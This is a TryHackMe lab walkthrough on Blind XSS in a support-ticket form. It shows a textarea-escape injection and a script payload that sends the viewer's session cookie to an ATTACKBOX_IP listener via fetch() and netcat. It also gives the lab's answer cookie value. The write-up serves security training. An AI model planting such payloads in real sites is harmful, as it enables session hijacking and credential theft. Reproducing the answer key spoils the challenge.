Blind XSS | TryHackMe CTF Walkthrough| by Dharavath Nagaraju

Blind XSS

Objective

The objective of this task was to identify a Blind Cross-Site Scripting (Blind XSS) vulnerability in the Support Ticket feature of the Acme IT Support application. Unlike normal XSS, Blind XSS executes when another user (such as a support staff member or administrator) views the malicious input rather than immediately after the attacker submits it.

Vulnerability Overview

Blind XSS is a type of Stored XSS where the attacker cannot directly observe the execution of the injected JavaScript. Instead, the payload is stored by the application and later executed in the browser of another user. Since the attacker does not witness the execution, the vulnerability is called Blind XSS.

Successful exploitation may allow an attacker to steal session cookies, hijack user sessions, perform actions as the victim, or capture sensitive information.

Identifying the Vulnerability

After creating a customer account, the Support Tickets feature was tested.

A new support ticket was created using normal text.

Subject

test

Ticket Contents

test

After opening the created ticket and viewing the page source, the submitted content was found inside a **<textarea>** element.

Example:

<textarea class="form-control">test
</textarea>

Since user input was directly reflected into the HTML without proper encoding, it became possible to test whether the application could escape the textarea element.

Escaping the Textarea

The following payload was submitted:

</textarea>test

When the ticket was opened again, the browser successfully closed the textarea element, proving that HTML injection was possible.

Example:

<textarea></textarea>
test

This indicated that arbitrary HTML could now be injected into the page.

Confirming XSS

To verify JavaScript execution, the following payload was used:

</textarea><script>alert('THM');</script>

Upon viewing the ticket, an alert box displaying THM appeared, confirming that JavaScript execution was possible.

This verified the presence of a Stored XSS vulnerability.

Exploiting Blind XSS

Since support tickets are expected to be viewed by support staff, a malicious payload was injected that would execute when a staff member opened the ticket.

The following payload was used:

</textarea><script>
fetch('http://ATTACKBOX_IP:9001?cookie=' + btoa(document.cookie));
</script>

Before submitting the payload, a Netcat listener was started on the AttackBox:

nc -nlvp 9001

When the support staff viewed the ticket, the victim’s browser executed the JavaScript payload.

The payload:

• Closed the textarea element.
• Opened a JavaScript block.
• Read the victim’s session cookie using document.cookie.
• Encoded the cookie using btoa().
• Sent the encoded cookie to the attacker’s server using the fetch() function.

The Netcat listener received an HTTP request containing the Base64-encoded session cookie.

The captured value was then Base64-decoded to obtain the victim’s session cookies

https://www.base64decode.org/

1.What is the value of the staff-session cookie?

Answer: 4AB305E55955197693F01D6F8FD2D321

Conclusion

The Support Ticket feature was found to be vulnerable to Blind Cross-Site Scripting (Blind XSS). By injecting malicious JavaScript into the ticket contents, the payload executed when a support staff member viewed the ticket, allowing sensitive information such as session cookies to be exfiltrated. This vulnerability highlights the importance of proper input validation, output encoding, and secure cookie settings to prevent client-side attacks and protect user sessions.

thank you!